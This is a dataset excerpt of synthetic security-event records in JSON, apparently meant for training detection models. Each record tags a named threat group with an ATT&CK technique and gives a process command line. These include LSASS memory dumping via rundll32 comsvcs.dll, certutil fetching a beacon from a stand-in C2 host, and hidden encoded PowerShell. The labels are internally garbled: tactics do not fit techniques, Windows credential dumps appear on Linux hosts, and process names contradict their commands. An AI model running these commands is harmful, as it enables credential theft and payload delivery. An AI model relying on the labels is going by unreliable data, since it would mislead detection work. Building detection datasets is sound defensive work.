text
stringlengths
1.13k
1.33k
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration","Discovery","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20261015T014355000Z_0019001","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.203.236.144","name":"WIN-FIN-SRV-A1OJ3YPAA4","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19001APT29T1098.004"},"network":{"domain":"github.com","dst_ip":"1.136.224.115","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3830 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-26T08:03:51.000Z","user":{"name":"azuread\\j84tj8guh6rj","sid":"S-1-5-21-843843413-223603385-6284"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Initial Access","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260321T004653000Z_0019003","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.122.227.62","name":"EC2-INST-10CWXPYVXF","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19003Volt TyphoonT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.92.35.172","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 739 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-17T04:21:50.000Z","user":{"name":"svc_u3zjlg41kmt5","sid":"S-1-5-21-908899668-369195582-6984"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20260517T192351000Z_0019005","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.20.15.13","name":"IAM-ROLE-8A0GCOX95V","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19005APT41T1566.001"},"network":{"domain":"github.com","dst_ip":"1.127.241.184","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-19T14:36:25.000Z","user":{"name":"i-2oeewmu4mqqb","sid":"S-1-5-21-630973261-107283236-7162"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Exfiltration","Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20260306T011401000Z_0019007","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.64.57.174","name":"APP-WEB-3VTR5D7HWR","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19007FIN7T1098.004"},"network":{"domain":"github.com","dst_ip":"1.163.54.14","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-11-03T16:24:04.000Z","user":{"name":"arn:aws:iam::rw3z6vbgzd0s","sid":"S-1-5-21-723626316-604856406-5132"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Impact","Credential Access"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20261215T045411000Z_0019009","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.255.33.82","name":"DB-ORACLE-QL8P3B5YMH","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19009Volt TyphoonT1570"},"network":{"domain":"github.com","dst_ip":"1.77.120.198","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-20T05:12:07.000Z","user":{"name":"svc_nwyt8pu77ghp","sid":"S-1-5-21-371390679-726881663-2486"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Credential Access","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20260505T203859000Z_0019011","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.63.74.90","name":"AZURE-VM-ZKMZY9GJAP","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19011UNC4841T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.72.143.131","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-09-12T12:29:26.000Z","user":{"name":"svc_57r95mpro0sv","sid":"S-1-5-21-472983469-232203446-1185"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery","Collection","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20260801T152614000Z_0019013","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.109.42.19","name":"WIN-FIN-SRV-W4RCJF4WFI","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19013Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.104.173.209","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-03T08:15:28.000Z","user":{"name":"i-kvziuofh0sw2","sid":"S-1-5-21-854713294-320175007-4221"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250429T035305000Z_0019015","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.22.71.90","name":"EC2-INST-5OJCN46IKF","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19015Volt TyphoonT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.34.116.149","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-10-06T08:19:08.000Z","user":{"name":"i-ns1faxw3c289","sid":"S-1-5-21-128674432-444950229-5933"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Impact","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20250426T095800000Z_0019017","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.246.60.20","name":"DB-ORACLE-RHRQ00ALKX","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19017APT29T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.133.169.59","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3558 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-18T17:01:28.000Z","user":{"name":"arn:aws:iam::p24levx56q6q","sid":"S-1-5-21-661027202-318347396-3541"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Credential Access","Exfiltration"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20250723T062539000Z_0019019","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.186.113.234","name":"DB-ORACLE-HOG9H1ULQ8","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19019Volt TyphoonT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.93.35.130","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3169 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-11T17:34:07.000Z","user":{"name":"arn:aws:iam::3d2i6e5f5etc","sid":"S-1-5-21-281364739-863898939-4854"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Defense Evasion","Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20261018T134200000Z_0019021","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.20.189.180","name":"EC2-INST-D9YNZ3Q1K7","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19021Lapsus$T1566.001"},"network":{"domain":"github.com","dst_ip":"1.192.158.76","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-06T23:32:11.000Z","user":{"name":"svc_zcsjpbcgq2cy","sid":"S-1-5-21-686762324-264448289-8996"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Impact","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20251015T131454000Z_0019023","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.160.123.131","name":"APP-WEB-V4R85SDIF6","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19023Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.92.218.201","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-25T23:07:31.000Z","user":{"name":"i-5a53jy2xkoo2","sid":"S-1-5-21-372530608-666158766-3551"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20260530T212151000Z_0019025","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.251.123.37","name":"WIN-FIN-SRV-ASV39M45EP","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19025FIN7T1566.001"},"network":{"domain":"github.com","dst_ip":"1.84.51.95","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-20T16:08:48.000Z","user":{"name":"arn:aws:iam::9flmncujz1xu","sid":"S-1-5-21-676061660-668739778-6813"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery","Collection"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20260410T224813000Z_0019027","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.214.144.180","name":"WIN-FIN-SRV-UWXUT1YSNS","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19027Lapsus$T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.9.179.173","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2572 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-01T21:22:43.000Z","user":{"name":"i-165tbbohif0e","sid":"S-1-5-21-635316176-393830642-3799"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Command and Control","Impact"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250107T182454000Z_0019029","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.240.234.138","name":"APP-WEB-DBX8VCVWCM","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19029UNC4841T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.80.56.102","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3070 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-25T10:23:21.000Z","user":{"name":"svc_n4i33vjibuyz","sid":"S-1-5-21-770765101-901016526-1338"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement","Persistence"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20261228T234002000Z_0019031","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.121.160.25","name":"APP-WEB-K3QALPGJKI","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19031Volt TyphoonT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.91.200.43","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-03T11:56:59.000Z","user":{"name":"i-cqggm9bfuftp","sid":"S-1-5-21-774892866-415167644-5449"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Command and Control","Execution","Persistence"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250928T170905000Z_0019033","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.128.237.47","name":"APP-WEB-WE1OOACJSW","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19033Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.181.133.39","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-30T18:52:10.000Z","user":{"name":"arn:aws:iam::n1unih6diooe","sid":"S-1-5-21-156791773-705968738-4255"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Credential Access"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20250820T201855000Z_0019035","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.64.78.196","name":"IAM-ROLE-BR1GDGFRGO","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19035Mustang PandaT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.68.4.138","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-02-17T14:14:55.000Z","user":{"name":"CORP\\7cudzh0cg4e4","sid":"S-1-5-21-301137683-232759865-8812"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20251116T044307000Z_0019037","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.255.55.240","name":"WIN-FIN-SRV-4GUW7SEALQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19037Lapsus$T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.25.52.61","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-21T21:30:27.000Z","user":{"name":"azuread\\6rtyyf3dskfe","sid":"S-1-5-21-443850045-411675197-3535"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20260727T040641000Z_0019039","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.25.42.67","name":"APP-WEB-UH941U3B62","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19039FIN7T1098.004"},"network":{"domain":"github.com","dst_ip":"1.62.174.247","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-24T06:58:38.000Z","user":{"name":"CORP\\cevlqryvtnjm","sid":"S-1-5-21-188905755-429870891-8315"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20250424T194738000Z_0019041","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.28.23.204","name":"DB-ORACLE-QA6Y0FPK4M","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19041Lapsus$T1071.001"},"network":{"domain":"github.com","dst_ip":"1.115.9.107","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2388 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-01-26T11:43:03.000Z","user":{"name":"CORP\\ovzcv93elznm","sid":"S-1-5-21-858289814-319277985-5590"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20260723T103707000Z_0019043","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.144.235.29","name":"EC2-INST-NYIXDH7TTO","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19043Scattered SpiderT1566.001"},"network":{"domain":"github.com","dst_ip":"1.119.58.254","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-27T07:28:50.000Z","user":{"name":"i-hr2bc21t7roa","sid":"S-1-5-21-509023008-773240528-6577"}}
